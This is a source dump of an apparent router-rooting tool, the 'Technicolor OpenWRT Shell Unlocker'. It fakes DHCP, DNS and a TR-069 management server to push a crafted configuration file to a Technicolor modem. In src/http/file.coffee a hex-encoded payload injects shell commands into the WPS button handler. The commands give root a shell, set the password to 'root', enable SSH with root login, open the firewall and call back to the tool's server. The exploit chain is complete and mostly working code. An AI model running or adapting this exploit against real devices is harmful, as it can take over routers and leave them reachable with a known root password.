| file: '' 251 | options: @_getOptions { 53: DHCPOFFER }, [ 252 | 1 253 | 3 254 | 51 255 | 54 256 | 6 257 | ], req.options[55] 258 | 259 | console.log '<<< OFFER', JSON.stringify ans 260 | 261 | @_send @config('broadcast'), ans 262 | 263 | handleRequest: (req) -> 264 | lease = @_state[req.chaddr] = @_state[req.chaddr] or new Lease 265 | lease.address = @_selectAddress req.chaddr 266 | lease.leasePeriod = @config 'leaseTime' 267 | lease.server = @config 'server' 268 | lease.state = 'BOUND' 269 | lease.bindTime = new Date 270 | lease.file = req.file 271 | 272 | console.log '>>> REQUEST', JSON.stringify lease 273 | 274 | @sendAck req 275 | 276 | sendAck: (req) -> 277 | if req.options[97] and req.options[55].indexOf(97) == -1 278 | req.options[55].push 97 279 | 280 | if req.options[60] and req.options[60].indexOf('PXEClient') == 0 281 | [ 66, 67 ].forEach (opt) -> 282 | if req.options[55].indexOf(opt) is -1 283 | req.options[55].push opt 284 | 285 | options = @_getOptions { 53: DHCPACK }, [ 286 | 1 287 | 3 288 | 51 289 | 54 290 | 6 291 | ], req.options[55] 292 | 293 | ans = 294 | op: BOOTREPLY 295 | htype: 1 296 | hlen: 6 297 | hops: 0 298 | xid: req.xid 299 | secs: 0 300 | flags: req.flags 301 | ciaddr: req.ciaddr 302 | yiaddr: @_selectAddress req.chaddr 303 | siaddr: @config 'server' 304 | giaddr: req.giaddr 305 | chaddr: req.chaddr 306 | sname: '' 307 | file: req.file 308 | options: options 309 | 310 | @_send @config('broadcast'), ans, => 311 | @emit 'bound', @_state, ans 312 | 313 | sendNak: (req) -> 314 | 315 | ans = 316 | op: BOOTREPLY 317 | htype: 1 318 | hlen: 6 319 | hops: 0 320 | xid: req.xid 321 | secs: 0 322 | flags: req.flags 323 | ciaddr: INADDR_ANY 324 | yiaddr: INADDR_ANY 325 | siaddr: INADDR_ANY 326 | giaddr: req.giaddr 327 | chaddr: req.chaddr 328 | sname: '' 329 | file: '' 330 | options: @_getOptions { 53: DHCPNAK }, [ 54 ] 331 | 332 | console.log '<<< NAK', JSON.stringify ans 333 | 334 | @_send @config('broadcast'), ans 335 | 336 | handleRelease: -> 337 | 338 | handleRenew: -> 339 | return 340 | 341 | listen: (port, host, fn = ->) -> 342 | ip = Ips().find ({ family }) -> family is 'IPv6' 343 | 344 | connacks = Number not not ip 345 | 346 | onConnect = -> 347 | connacks++ 348 | 349 | if connacks is 2 350 | process.nextTick fn 351 | 352 | @_sock.bind port or SERVER_PORT, host or INADDR_ANY, => 353 | @_sock.setBroadcast true 354 | 355 | onConnect() 356 | 357 | if ip 358 | @_sock6.bind 547, '::', => 359 | @_sock6.setBroadcast true 360 | 361 | try 362 | @_sock6.addMembership 'ff02::1', ip.address 363 | catch e 364 | 365 | onConnect() 366 | 367 | @ 368 | 369 | close: (callback) -> 370 | connacks = 0 371 | 372 | onClose = -> 373 | connacks++ 374 | 375 | if connacks is 2 376 | callback() 377 | 378 | @_sock.close onClose 379 | @_sock6.close onClose 380 | 381 | _send: (host, data, cb = ->) -> 382 | sb = Protocol.format data 383 | 384 | @_sock.send sb._data, 0, sb._w, CLIENT_PORT, host, (err, bytes) -> 385 | if err 386 | console.log err 387 | 388 | cb err, bytes 389 | 390 | module.exports = Server 391 | -------------------------------------------------------------------------------- /src/dhcp/tools.coffee: -------------------------------------------------------------------------------- 1 | module.exports = 2 | 3 | parseIp: (str) -> 4 | octs = str.split('.') 5 | 6 | if octs.length != 4 7 | throw new Error('Invalid IP address ' + str) 8 | 9 | octs.reduce (prev, val) -> 10 | val = parseInt(val, 10) 11 | 12 | if 0 <= val and val < 256 13 | return prev << 8 | val 14 | else 15 | throw new Error('Invalid IP address ' + str) 16 | 17 | return 18 | , 0 19 | 20 | formatIp: (num) -> 21 | ip = '' 22 | i = 24 23 | 24 | while i >= 0 25 | if ip 26 | ip += '.' 27 | 28 | ip += (num >>> i & 0xFF).toString(10) 29 | i -= 8 30 | 31 | ip 32 | 33 | netmaskFromCIDR: (cidr) -> 34 | -1 << 32 - cidr 35 | 36 | netmaskFromIP: (ip) -> 37 | if typeof ip == 'string' 38 | ip = @parseIp(ip) 39 | 40 | first = ip >>> 24 41 | 42 | if first <= 127 43 | 0xff000000 44 | else if first >= 192 45 | 0xffffff00 46 | else 47 | 0xffff0000 48 | 49 | wildcardFromCIDR: (cidr) -> 50 | ~@netmaskFromCIDR(cidr) 51 | 52 | networkFromIpCIDR: (ip, cidr) -> 53 | if typeof ip == 'string' 54 | ip = @parseIp(ip) 55 | 56 | @netmaskFromCIDR(cidr) & ip 57 | 58 | broadcastFromIpCIDR: (ip, cidr) -> 59 | if typeof ip == 'string' 60 | ip = @parseIp(ip) 61 | 62 | @networkFromIpCIDR(ip, cidr) | @wildcardFromCIDR(cidr) 63 | 64 | CIDRFromNetmask: (net) -> 65 | if typeof net == 'string' 66 | net = @parseIp(net) 67 | 68 | s = 0 69 | d = 0 70 | 71 | t = net & 1 72 | wild = t 73 | i = 0 74 | 75 | while i < 32 76 | d += t ^ net & 1 77 | t = net & 1 78 | 79 | net >>>= 1 80 | 81 | s += t 82 | i++ 83 | 84 | if d != 1 85 | throw new Error('Invalid Netmask ' + net) 86 | 87 | if wild 88 | s = 32 - s 89 | 90 | s 91 | 92 | gatewayFromIpCIDR: (ip, cidr) -> 93 | if typeof ip == 'string' 94 | ip = @parseIp(ip) 95 | 96 | if cidr == 32 97 | return ip 98 | 99 | @networkFromIpCIDR(ip, cidr) + 1 100 | 101 | netmaskFromRange: (ip1, ip2) -> 102 | if typeof ip1 == 'string' 103 | ip1 = @parseIp(ip1) 104 | 105 | if typeof ip2 == 'string' 106 | ip2 = @parseIp(ip2) 107 | 108 | cidr = 32 - Math.floor(Math.log2((ip1 ^ ip2 - 1) + 2)) - 1 109 | 110 | @netmaskFromCIDR cidr 111 | -------------------------------------------------------------------------------- /src/dns.coffee: -------------------------------------------------------------------------------- 1 | { EventEmitter } = require'events' 2 | { createSocket } = require('dgram') 3 | { isIPv6 } = require('net') 4 | 5 | dns = require('dns') 6 | 7 | bitSlice = (b, offset, length) -> 8 | b >>> 7 - (offset + length - 1) & ~(0xff << length) 9 | 10 | bufferify = (ip) -> 11 | if isIPv6 ip 12 | bufferifyV6 ip 13 | else bufferifyV4 ip 14 | 15 | bufferifyV4 = (ip) -> 16 | ip = ip.split('.').map (n) -> parseInt n, 10 17 | 18 | result = 0 19 | base = 1 20 | 21 | i = ip.length - 1 22 | 23 | while i >= 0 24 | result += ip[i] * base 25 | base *= 256 26 | i-- 27 | 28 | buf = Buffer.alloc(4) 29 | buf.writeUInt32BE result 30 | buf 31 | 32 | bufferifyV6 = (rawIp) -> 33 | 34 | countColons = (x) -> 35 | n = 0 36 | x.replace /:/g, (c) -> n++ 37 | n 38 | 39 | ip = rawIp.replace(/\/\d{1,3}(?=%|$)/, '').replace(/%.*$/, '') 40 | 41 | hexIp = ip 42 | .replace /::/, (two) -> ':' + Array(7 - countColons(ip) + 1).join(':') + ':' 43 | .split ':' 44 | .map (x) -> Array(4 - (x.length)).fill('0').join('') + x 45 | .join('') 46 | 47 | Buffer.from hexIp, 'hex' 48 | 49 | domainify = (qname) -> 50 | parts = [] 51 | 52 | i = 0 53 | 54 | while i < qname.length and qname[i] 55 | length = qname[i] 56 | offset = i + 1 57 | parts.push qname.slice(offset, offset + length).toString() 58 | 59 | i = offset + length 60 | 61 | parts.join '.' 62 | 63 | qnameify = (domain) -> 64 | qname = Buffer.alloc(domain.length + 2) 65 | offset = 0 66 | 67 | domain = domain.split('.') 68 | 69 | i = 0 70 | 71 | while i < domain.length 72 | qname[offset] = domain[i].length 73 | qname.write domain[i], offset + 1, domain[i].length, 'ascii' 74 | 75 | offset += qname[offset] + 1 76 | i++ 77 | 78 | qname[qname.length - 1] = 0 79 | qname 80 | 81 | functionify = (val) -> 82 | (addr, callback) -> 83 | callback null, val 84 | 85 | parse = (buf) -> 86 | header = {} 87 | question = {} 88 | 89 | b = buf.slice(2, 3).toString('binary', 0, 1).charCodeAt(0) 90 | 91 | header.id = buf.slice(0, 2) 92 | header.qr = bitSlice(b, 0, 1) 93 | header.opcode = bitSlice(b, 1, 4) 94 | header.aa = bitSlice(b, 5, 1) 95 | header.tc = bitSlice(b, 6, 1) 96 | header.rd = bitSlice(b, 7, 1) 97 | 98 | b = buf.slice(3, 4).toString('binary', 0, 1).charCodeAt(0) 99 | 100 | header.ra = bitSlice(b, 0, 1) 101 | header.z = bitSlice(b, 1, 3) 102 | header.rcode = bitSlice(b, 4, 4) 103 | header.qdcount = buf.slice(4, 6) 104 | header.ancount = buf.slice(6, 8) 105 | header.nscount = buf.slice(8, 10) 106 | header.arcount = buf.slice(10, 12) 107 | 108 | question.qname = buf.slice(12, buf.length - 4) 109 | question.qtype = buf.slice(buf.length - 4, buf.length - 2) 110 | question.qclass = buf.slice(buf.length - 2, buf.length) 111 | 112 | { header, question } 113 | 114 | responseBuffer = (query) -> 115 | question = query.question 116 | header = query.header 117 | qname = question.qname 118 | 119 | offset = 16 + qname.length 120 | 121 | length = offset 122 | i = 0 123 | 124 | while i < query.rr.length 125 | length += query.rr[i].qname.length + 10 126 | i++ 127 | 128 | buf = Buffer.alloc(length) 129 | 130 | header.id.copy buf, 0, 0, 2 131 | 132 | buf[2] = 0x00 | header.qr << 7 | header.opcode << 3 | header.aa << 2 | header.tc << 1 | header.rd 133 | buf[3] = 0x00 | header.ra << 7 | header.z << 4 | header.rcode 134 | 135 | buf.writeUInt16BE header.qdcount, 4 136 | buf.writeUInt16BE header.ancount, 6 137 | buf.writeUInt16BE header.nscount, 8 138 | buf.writeUInt16BE header.arcount, 10 139 | 140 | qname.copy buf, 12 141 | 142 | question.qtype.copy buf, 12 + qname.length, question.qtype, 2 143 | question.qclass.copy buf, 12 + qname.length + 2, question.qclass, 2 144 | 145 | i = 0 146 | 147 | while i < query.rr.length 148 | rr = query.rr[i] 149 | rr.qname.copy buf, offset 150 | offset += rr.qname.length 151 | buf.writeUInt16BE rr.qtype, offset 152 | buf.writeUInt16BE rr.qclass, offset + 2 153 | buf.writeUInt32BE rr.ttl, offset + 4 154 | buf.writeUInt16BE rr.rdlength, offset + 8 155 | buf = Buffer.concat([ 156 | buf 157 | rr.rdata 158 | ]) 159 | offset += 14 160 | i++ 161 | buf 162 | 163 | response = (query, ttl, to) -> 164 | response = {} 165 | 166 | header = response.header = {} 167 | question = response.question = {} 168 | rrs = resolve(query.question.qname, ttl, to) 169 | 170 | header.id = query.header.id 171 | header.ancount = rrs.length 172 | header.qr = 1 173 | header.opcode = 0 174 | header.aa = 0 175 | header.tc = 0 176 | header.rd = 1 177 | header.ra = 0 178 | header.z = 0 179 | header.rcode = 0 180 | header.qdcount = 1 181 | header.nscount = 0 182 | header.arcount = 0 183 | 184 | question.qname = query.question.qname 185 | question.qtype = query.question.qtype 186 | question.qclass = query.question.qclass 187 | 188 | response.rr = rrs 189 | 190 | responseBuffer response 191 | 192 | resolve = (qname, ttl, to) -> 193 | r = {} 194 | r.qname = qname 195 | r.qtype = if to.length == 4 then 1 else 28 196 | 197 | r.qclass = 1 198 | r.ttl = ttl 199 | r.rdlength = to.length 200 | r.rdata = to 201 | 202 | [ r ] 203 | 204 | lookup = (addr, callback) -> 205 | if net.isIP(addr) 206 | return callback(null, addr) 207 | 208 | dns.lookup addr, callback 209 | 210 | class Server extends EventEmitter 211 | constructor: (proxy = '8.8.8.8') -> 212 | super 213 | 214 | @_socket = createSocket if isIPv6(proxy) then 'udp6' else 'udp4' 215 | 216 | routes = [] 217 | 218 | @_socket.on 'message', (message, rinfo) => 219 | query = parse message 220 | domain = domainify query.question.qname 221 | 222 | routeData = { domain, rinfo } 223 | 224 | @emit 'resolve', routeData 225 | 226 | respond = (buf) => 227 | @_socket.send buf, 0, buf.length, rinfo.port, rinfo.address 228 | 229 | onerror = (err) => 230 | @emit 'error', err 231 | 232 | onproxy = -> 233 | sock = createSocket if isIPv6(proxy) then 'udp6' else 'udp4' 234 | sock.send message, 0, message.length, 53, proxy 235 | 236 | sock.on 'error', onerror 237 | 238 | sock.on 'message', (response) -> 239 | respond response 240 | sock.close() 241 | 242 | i = 0 243 | 244 | while i < routes.length 245 | if routes[i].pattern.test(domain) 246 | route = routes[i].route 247 | break 248 | i++ 249 | 250 | if not route 251 | return onproxy() 252 | 253 | route routeData, (err, to) => 254 | if typeof to == 'string' 255 | toIp = to 256 | ttl = 1 257 | else 258 | toIp = to.ip 259 | ttl = to.ttl 260 | 261 | if err 262 | return onerror(err) 263 | 264 | if !toIp 265 | return onproxy() 266 | 267 | lookup toIp, (err, addr) => 268 | if err 269 | return onerror(err) 270 | 271 | @emit 'route', domain, addr 272 | 273 | respond response(query, ttl, bufferify(addr)) 274 | 275 | route: (pattern, route) -> 276 | if Array.isArray pattern 277 | pattern.forEach (item) => 278 | @route item, route 279 | 280 | return @ 281 | 282 | if typeof pattern == 'function' 283 | return @route('*', pattern) 284 | 285 | if typeof route == 'string' 286 | return @route(pattern, functionify(route)) 287 | 288 | pattern = if pattern is '*' 289 | /.?/ 290 | else 291 | new RegExp('^' + pattern.replace(/\./g, '\\.').replace(/\*\\\./g, '(.+)\\.') + '$', 'i') 292 | 293 | routes.push { pattern, route } 294 | 295 | @ 296 | 297 | listen: (port) -> 298 | @_socket.bind port or 53 299 | 300 | @ 301 | 302 | close: (callback) -> 303 | @_socket.close callback 304 | 305 | @ 306 | -------------------------------------------------------------------------------- /src/get-port.coffee: -------------------------------------------------------------------------------- 1 | { createServer } = require 'net' 2 | 3 | args = require './args' 4 | 5 | module.exports = -> 6 | 7 | new Promise (resolve, reject) -> 8 | if args.port 9 | return resolve args.port 10 | 11 | server = createServer() 12 | server.unref() 13 | 14 | server.on 'error', reject 15 | 16 | server.listen 0, -> 17 | port = server.address().port 18 | 19 | server.close -> 20 | resolve port 21 | -------------------------------------------------------------------------------- /src/http/cwmp/index.coffee: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | { parse, methods, createSoapEnv, fileTypes } = require './xml' 4 | 5 | file = require '../file' 6 | args = require '../../args' 7 | 8 | stage = null 9 | device = {} 10 | env = [] 11 | finished = false 12 | 13 | set = (obj, key, value) -> 14 | attrs = key.split '.' 15 | for attr, i in attrs 16 | if i is attrs.length - 1 17 | obj[attr] = value 18 | else 19 | obj = obj[attr] ?= {} 20 | obj 21 | 22 | request = (url, req, res) -> 23 | if req.body.length > 0 24 | console.log '>>> REQUEST' 25 | console.dir [ req.headers, req.body ] 26 | 27 | xml = parse req.body 28 | 29 | element = xml['soapenv:Envelope'] 30 | body = element['soapenv:Body'] 31 | header = element['soapenv:Header'] 32 | 33 | for k, v of element.attributes 34 | return unless k? and v? 35 | 36 | str = k.replace('soapenv', 'soap-env') + '=\'' + v + '\'' 37 | 38 | if env.indexOf(str) is -1 39 | env.push str 40 | 41 | res.name = stage = Object.keys(body)[0] 42 | 43 | cwmp = element.attributes?['xmlns:cwmp'] 44 | 45 | [ input, cwmpVersion ] = /urn:dslforum-org:cwmp-(\d+-\d+)/.exec(cwmp) or [ cwmp, '1-2' ] 46 | 47 | res.cwmpVersion = cwmpVersion.replace /-/g, '.' 48 | 49 | idElement = header['cwmp:ID'] 50 | 51 | if idElement 52 | res.id = req.id = idElement 53 | 54 | for key, value of body[stage] 55 | res[key] = value 56 | 57 | if res.ParameterList?.ParameterValueStruct? 58 | params = res.ParameterList.ParameterValueStruct 59 | 60 | res.params = Object.keys(params).reduce (obj, k) -> 61 | set(obj, k, params[k]) if typeof params[k] is 'string' 62 | obj 63 | , {} 64 | 65 | device = res.params.Device or res.params.InternetGatewayDevice or {} 66 | 67 | res.name += 'Response' 68 | else if stage is 'cwmp:Inform' 69 | console.log '>>> EMPTY REQUEST' 70 | console.dir [ req.headers, req.body ] 71 | 72 | res.name = 'cwmp:Download' 73 | 74 | if args.fileType and fileTypes[args.fileType]? 75 | res.fileType = fileTypes[args.fileType] 76 | else 77 | res.fileType = switch file.ext 78 | when '.rbi' then '1 Firmware Upgrade Image' 79 | when '.sts' then '3 Vendor Configuration File' 80 | 81 | res.fileSize = file.data.length 82 | res.url = "#{ url }#{file.name}" 83 | 84 | res.env = env.join ' ' 85 | 86 | response res 87 | 88 | response = (res) -> 89 | headers = 90 | 'Content-Type' : 'text/xml; charset="utf-8"' 91 | 'Server' : 'ACSServer' 92 | 'SOAPServer' : 'ACSServer' 93 | 94 | code = 404 95 | data = null 96 | 97 | if res.name and methods[res.name]? 98 | res.id ?= '1690d26c77f0000' 99 | 100 | data = createSoapEnv res, headers 101 | code = 200 102 | 103 | headers['Content-Length'] = data.length 104 | 105 | if res.name is 'cwmp:TransferCompleteResponse' 106 | finished = true 107 | 108 | else if finished 109 | code = 204 110 | 111 | headers['Connection'] = "close" 112 | headers['Content-Length'] = 0 113 | 114 | console.log '<<< EMPTY RESPONSE' 115 | 116 | console.dir [ code, headers, data ] 117 | 118 | res.writeHead code, headers 119 | res.end data 120 | 121 | return 122 | 123 | module.exports = (url) -> 124 | (req, res) -> 125 | COOKIE_REGEX = /\s*([a-zA-Z0-9\-_]+?)\s*=\s*"?([a-zA-Z0-9\-_]*?)"?\s*(,|;|$)/g 126 | 127 | while match = COOKIE_REGEX.exec(req.headers.cookie) 128 | res.id = match[2] if match[1] is 'session' 129 | 130 | req.body = '' 131 | 132 | req.on 'data', (chunk) -> 133 | req.body += chunk 134 | 135 | req.on 'end', -> 136 | request url, req, res 137 | 138 | return 139 | -------------------------------------------------------------------------------- /src/http/cwmp/xml.coffee: -------------------------------------------------------------------------------- 1 | 2 | exports.parse = (xml) -> 3 | 4 | declaration = -> 5 | m = match /^<\?xml\s*/ 6 | 7 | return unless m 8 | 9 | node = {} 10 | 11 | while !(eos() or has('?>')) 12 | attr = attribute() 13 | 14 | if not attr 15 | return node 16 | 17 | node.attributes ?= {} 18 | node.attributes[attr.name] = attr.value 19 | 20 | match /\?>\s*/ 21 | 22 | node 23 | 24 | tag = -> 25 | m = match /^<([\w-:.]+)\s*/ 26 | 27 | return unless m 28 | 29 | node = {} 30 | 31 | while !(eos() or has('>') or has('?>') or has('/>')) 32 | attr = attribute() 33 | 34 | if !attr 35 | return [ m[1], node ] 36 | 37 | node.attributes ?= {} 38 | node.attributes[attr.name] = attr.value 39 | 40 | if match(/^\s*\/>\s*/) 41 | return [ m[1], node ] 42 | 43 | match /\??>\s*/ 44 | 45 | c = content() 46 | 47 | if c 48 | node = c 49 | 50 | while child = tag() 51 | if child[1].Name and child[1].Value 52 | node[child[0]] ?= {} 53 | node[child[0]][child[1].Name] = child[1].Value 54 | else 55 | node[child[0]] = child[1] 56 | 57 | match /^<\/[\w-:.]+>\s*/ 58 | 59 | [ m[1], node ] 60 | 61 | content = -> 62 | m = match(/^([^<]*)/) 63 | m?[1] 64 | 65 | attribute = -> 66 | m = match(/([\w:-]+)\s*=\s*("[^"]*"|'[^']*'|\w+)\s*/) 67 | 68 | return unless m 69 | 70 | name: m[1] 71 | value: m[2].replace /^['"]|['"]$/g, '' 72 | 73 | match = (re) -> 74 | m = xml.match(re) 75 | 76 | return unless m 77 | 78 | xml = xml.slice m[0].length 79 | 80 | m 81 | 82 | eos = -> 83 | not xml.length 84 | 85 | has = (prefix) -> 86 | 0 == xml.indexOf(prefix) 87 | 88 | xml = xml.trim() 89 | xml = xml.replace(//g, '') 90 | 91 | [ name, obj ] = tag() 92 | 93 | "#{name}": obj 94 | 95 | exports.methods = methods = 96 | 97 | 'cwmp:TransferCompleteResponse': (res) -> 98 | i = 0 99 | 100 | [ h, w ] = process.stdout.getWindowSize() 101 | 102 | while i++ < w 103 | console.log '\u000d\n' 104 | 105 | console.log "\n*** PRESS AND HOLD THE WPS BUTTON ON YOUR GATEWAY ***\n" 106 | console.log "### WAITING FOR WPS CALLBACK" 107 | 108 | """""" 109 | 110 | 'cwmp:Download': (res) -> 111 | """ 112 | #{ res.commandKey or res.id } 113 | #{ res.fileType } 114 | #{ res.url } 115 | #{ res.fileSize or 0 } 116 | 0 117 | """ 118 | 119 | 'cwmp:InformResponse': (res, headers) -> 120 | headers['Set-Cookie'] = "session=7b0fa33078153e5c" 121 | 122 | """ 123 | 1 124 | """ 125 | 126 | exports.createSoapEnv = (res, headers) -> 127 | """ 128 | 129 | 130 | #{ res.id } 131 | 132 | 133 | #{ methods[res.name] res, headers } 134 | 135 | """ 136 | 137 | exports.fileTypes = 138 | 1: '1 Firmware Upgrade Image' 139 | 2: '2 Web Content' 140 | 3: '3 Vendor Configuration File' 141 | 4: '4 Tone File' 142 | 5: '5 Ringer File' 143 | -------------------------------------------------------------------------------- /src/http/file.coffee: -------------------------------------------------------------------------------- 1 | 2 | module.exports = 3 | name: 'file.sts' 4 | data: Buffer.from '7265626f6f74206f66660a73657420627574746f6e2e7770732e68616e646c65723d22736564202d69202773232f726f6f743a2e2a24232f726f6f743a2f62696e2f6173682327202f6574632f706173737764202626206563686f20726f6f743a726f6f74207c20636870617373776420262620736564202d69202d652027732f232f2f27202d652027732361736b636f6e736f6c653a2e2a5c242361736b636f6e736f6c653a2f62696e2f6173682327202f6574632f696e69747461622026262028756369202d712064656c6574652064726f70626561722e616667207c7c20747275652920262620756369206164642064726f70626561722064726f7062656172202626207563692072656e616d652064726f70626561722e4064726f70626561725b2d315d3d61666720262620756369207365742064726f70626561722e6166672e656e61626c653d27312720262620756369207365742064726f70626561722e6166672e496e746572666163653d276c616e2720262620756369207365742064726f70626561722e6166672e506f72743d2732322720262620756369207365742064726f70626561722e6166672e49646c6554696d656f75743d273630302720262620756369207365742064726f70626561722e6166672e50617373776f7264417574683d276f6e2720262620756369207365742064726f70626561722e6166672e526f6f7450617373776f7264417574683d276f6e2720262620756369207365742064726f70626561722e6166672e526f6f744c6f67696e3d2731272026262028756369207365742064726f70626561722e6c616e2e656e61626c653d273027207c7c2074727565292026262075636920636f6d6d69742064726f7062656172202626202f6574632f696e69742e642f64726f706265617220656e61626c65202626202f6574632f696e69742e642f64726f706265617220726573746172742026262028756369202d71207365742024287563692073686f77206669726577616c6c207c2067726570202d6d2031202428667733202d71207072696e74207c206567726570202769707461626c6573202d742066696c746572202d41207a6f6e655f6c616e5f696e707574202d7020746370202d6d20746370202d2d64706f7274203232202d6d20636f6d6d656e74202d2d636f6d6d656e74205c22216677333a202e2b5c22202d6a2044524f5027207c20736564202d6e202d652027732f5e69707461626c65732e5c2b6677333a205c282e5c2b5c295c222e5c2b2f5c312f702729207c20736564202d6e202d65205c22732f5c282e5c2b5c292e6e616d653d272e5c2b27242f5c312f705c22292e7461726765743d2741434345505427207c7c2074727565292026262075636920636f6d6d6974206669726577616c6c202626202f6574632f696e69742e642f6669726577616c6c2072656c6f6164202626207563692073657420627574746f6e2e7770732e68616e646c65723d277770735f627574746f6e5f707265737365642e7368272026262075636920636f6d6d69742026262077676574207b7b75726c7d7d646f6e65207c7c207472756522', 'hex' 5 | -------------------------------------------------------------------------------- /src/http/index.coffee: -------------------------------------------------------------------------------- 1 | { Duplex } = require 'stream' 2 | { createServer } = require 'http' 3 | { readFileSync, existsSync, statSync } = require 'fs' 4 | 5 | path = require 'path' 6 | 7 | file = require './file' 8 | route = require './router' 9 | args = require '../args' 10 | cwmp = require './cwmp' 11 | 12 | module.exports = (ip, port, url) -> 13 | 14 | if args.file 15 | file.name = path.basename args.file 16 | 17 | try 18 | file.data = readFileSync args.file 19 | catch e 20 | throw e 21 | 22 | file.data = Buffer.from file.data 23 | .toString 'utf8' 24 | .replace '{{url}}', url 25 | , 'utf8' 26 | 27 | file.ext = path.extname file.name 28 | 29 | route 30 | .get "/#{file.name}", (req, res) -> 31 | ext = file.ext.toUpperCase() 32 | 33 | console.log ">>> #{ ext } REQUEST" 34 | 35 | headers = 36 | 'Content-Type': 'text/plain' 37 | 'Content-Length': file.data.length 38 | 39 | console.log '>>> #{ ext } RESPONSE' 40 | console.dir [headers, file.data.toString('utf8')] 41 | 42 | res.writeHead 200, headers 43 | 44 | stream = new Duplex() 45 | stream.push file.data 46 | stream.push null 47 | stream.pipe res 48 | .get '/done', (req, res) -> 49 | console.log '>>> WPS CALLBACK' 50 | console.log """\n 51 | All done, 52 | 53 | - change network card settings back to dhcp and move the cable back to a lan port 54 | - try ssh connection to the gateways ip (usually 192.168.0.1) with username root and password root (change password immediately with passwd!) 55 | 56 | ssh root@192.168.0.1""" 57 | 58 | setTimeout -> 59 | process.exit 1 60 | , 20000 61 | 62 | res.writeHead 200 63 | res.end() 64 | 65 | .post '/', cwmp(url) 66 | 67 | srv = createServer route 68 | srv.keepAliveTimeout = 30000 69 | 70 | srv.on 'error', (e) -> 71 | if e.code in [ 'EADDRINUSE', 'EADDRNOTAVAIL' ] 72 | console.log e.code + ', retrying...' 73 | 74 | setTimeout -> 75 | srv.close() 76 | srv.listen port 77 | , 1000 78 | else console.error e 79 | 80 | srv.listen port 81 | 82 | srv 83 | -------------------------------------------------------------------------------- /src/http/router.coffee: -------------------------------------------------------------------------------- 1 | param = (val) -> 2 | (map) -> map[val] 3 | 4 | str = (val) -> 5 | -> val 6 | 7 | formatter = (format) -> 8 | if !format 9 | return null 10 | 11 | format = format.replace(/\{\*\}/g, '*').replace(/\*/g, '{*}').replace(/:(\w+)/g, '{$1}') 12 | 13 | format = format.match(/(?:[^\{]+)|(?:{[^\}]+\})/g).map (item) -> 14 | if item[0] != '{' then str(item) else param(item.substring(1, item.length - 1)) 15 | 16 | (params) -> 17 | format.reduce (result, item) -> 18 | result + item(params) 19 | , '' 20 | 21 | decode = (str) -> 22 | try 23 | decodeURIComponent(str) 24 | catch err 25 | str 26 | 27 | matcher = (pattern) -> 28 | if typeof pattern != 'string' 29 | return (url) -> 30 | url.match pattern 31 | 32 | keys = [] 33 | 34 | pattern = pattern.replace(/:(\w+)/g, '{$1}').replace('{*}', '*') 35 | 36 | pattern = pattern.replace /(\/)?(\.)?\{([^}]+)\}(?:\(([^)]*)\))?(\?)?/g, (match, slash, dot, key, capture, opt, offset) -> 37 | incl = (pattern[match.length + offset] or '/') == '/' 38 | keys.push key 39 | (if incl then '(?:' else '') + (slash or '') + (if incl then '' else '(?:') + (dot or '') + '(' + (capture or '[^/]+') + '))' + (opt or '') 40 | 41 | pattern = pattern.replace(/([\/.])/g, '\\$1').replace(/\*/g, '(.+)') 42 | pattern = new RegExp('^' + pattern + '[\\/]?$', 'i') 43 | 44 | (str) -> 45 | match = str.match(pattern) 46 | 47 | if !match 48 | return match 49 | 50 | map = {} 51 | 52 | match.slice(1).forEach (param, i) -> 53 | k = keys[i] = keys[i] or 'wildcard' 54 | param = param and decode(param) 55 | map[k] = if map[k] then [].concat(map[k]).concat(param) else param 56 | 57 | if map.wildcard 58 | map['*'] = map.wildcard 59 | 60 | map 61 | 62 | METHODS = [ 63 | 'get' 64 | 'post' 65 | 'put' 66 | 'del' 67 | 'delete' 68 | 'head' 69 | 'options' 70 | ] 71 | 72 | HTTP_METHODS = [ 73 | 'GET' 74 | 'POST' 75 | 'PUT' 76 | 'DELETE' 77 | 'DELETE' 78 | 'HEAD' 79 | 'OPTIONS' 80 | ] 81 | 82 | noop = -> 83 | 84 | error = (res) -> 85 | -> 86 | res.statusCode = 404 87 | res.end() 88 | return 89 | 90 | router = -> 91 | methods = {} 92 | traps = {} 93 | 94 | HTTP_METHODS.forEach (method) -> 95 | methods[method] = [] 96 | 97 | route = (req, res, next) -> 98 | method = methods[req.method] 99 | 100 | trap = traps[req.method] 101 | index = req.url.indexOf('?') 102 | 103 | url = if index == -1 then req.url else req.url.substr(0, index) 104 | 105 | i = 0 106 | 107 | next = next or error(res) 108 | 109 | if !method 110 | return next() 111 | 112 | lp = (err) -> 113 | if err 114 | return next(err) 115 | 116 | while i < method.length 117 | route = method[i] 118 | i++ 119 | 120 | req.params = route.pattern(url) 121 | 122 | if !req.params 123 | continue 124 | 125 | if route.rewrite 126 | req.url = url = route.rewrite(req.params) + (if index == -1 then '' else req.url.substr(index)) 127 | 128 | route.fn req, res, lp 129 | return 130 | 131 | if !trap 132 | return next() 133 | 134 | trap req, res, next 135 | 136 | return 137 | 138 | lp() 139 | 140 | return 141 | 142 | METHODS.forEach (method, i) -> 143 | 144 | route[method] = (pattern, rewrite, fn) -> 145 | if Array.isArray(pattern) 146 | pattern.forEach (item) -> 147 | route[method] item, rewrite, fn 148 | 149 | if !fn and !rewrite 150 | return route[method](null, null, pattern) 151 | 152 | if !fn and typeof rewrite == 'string' 153 | return route[method](pattern, rewrite, route) 154 | 155 | if !fn and typeof rewrite == 'function' 156 | return route[method](pattern, null, rewrite) 157 | 158 | if !fn 159 | return route 160 | 161 | (route.onmount or noop) pattern, rewrite, fn 162 | 163 | if !pattern 164 | traps[HTTP_METHODS[i]] = fn 165 | return route 166 | 167 | methods[HTTP_METHODS[i]].push 168 | pattern: matcher(pattern) 169 | rewrite: formatter(rewrite) 170 | fn: fn 171 | 172 | route 173 | 174 | return 175 | 176 | route.all = (pattern, rewrite, fn) -> 177 | METHODS.forEach (method) -> 178 | route[method] pattern, rewrite, fn 179 | 180 | route 181 | 182 | route 183 | 184 | module.exports = router() 185 | -------------------------------------------------------------------------------- /src/index.coffee: -------------------------------------------------------------------------------- 1 | pkg = require '../package.json' 2 | args = require './args' 3 | 4 | ip = args.ip or '58.162.0.1' 5 | 6 | console.log """ 7 | Technicolor OpenWRT Shell Unlocker v#{ pkg.version } By BoLaMN 8 | 9 | * Connect network cable from your computer to the WAN (red) port of the modem 10 | * Change your computers network card to be a static ip address 11 | 12 | IPv4 Address: #{ ip } 13 | Subnet Mask: 255.255.255.0 14 | Default Gateway\\Router: #{ ip } 15 | 16 | """ 17 | 18 | ask = require './ask' 19 | dhcpd = require './dhcp' 